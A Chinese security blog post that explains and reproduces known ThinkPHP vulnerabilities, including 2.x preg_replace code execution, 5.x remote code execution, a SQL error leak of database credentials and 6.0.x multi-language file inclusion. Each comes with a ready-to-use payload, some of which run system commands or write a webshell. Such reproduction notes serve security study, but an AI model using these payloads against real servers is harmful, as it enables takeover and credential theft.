ThinkPHP框架漏洞
ThinkPHP
关于think PHP
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。
最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。
目录结构
ThinkPHP 2.x 任意代码执行漏洞
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由
路由规则:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
靶场环境
构造正则表达式
s=/index/index/name/$%7B@phpinfo()%7D
ThinkPHP 5.0.23 远程代码执行漏洞
漏洞原因
在版本5.0(<5.0.24)中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞
漏洞复现
漏洞位置:http://192.168.84.174:8080/index.php?s=captcha
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=系统命令
注意:需要将GET请求方式修改为POST
ThinkPHP-5-rce
漏洞原因
其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞
漏洞复现
payload:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
命令执行payload
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
写shell的payload
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
Thinkphp < 5.1.23 设计缺陷导致泄漏数据库账户密码
漏洞原因
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。
ThinkPHP5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响版本:ThinkPHP < 5.1.23
漏洞复现
payload
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
数据库用户名和密码被爆出
ThinkPHP 多语言 RCE
漏洞原因
在其6.0.13版本及以前,存在一处本地文件包含漏洞。
当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。
首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含/public/index.php文件来确认文件包含漏洞是否存在;如果漏洞存在,则服务器会出错,返回500页面。
虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件
重点:如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含 trick 即可实现 RCE
影响版本:Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x
参考连接:https://tttang.com/archive/1865/
漏洞复现
payload
?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
访问shell.php文件
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论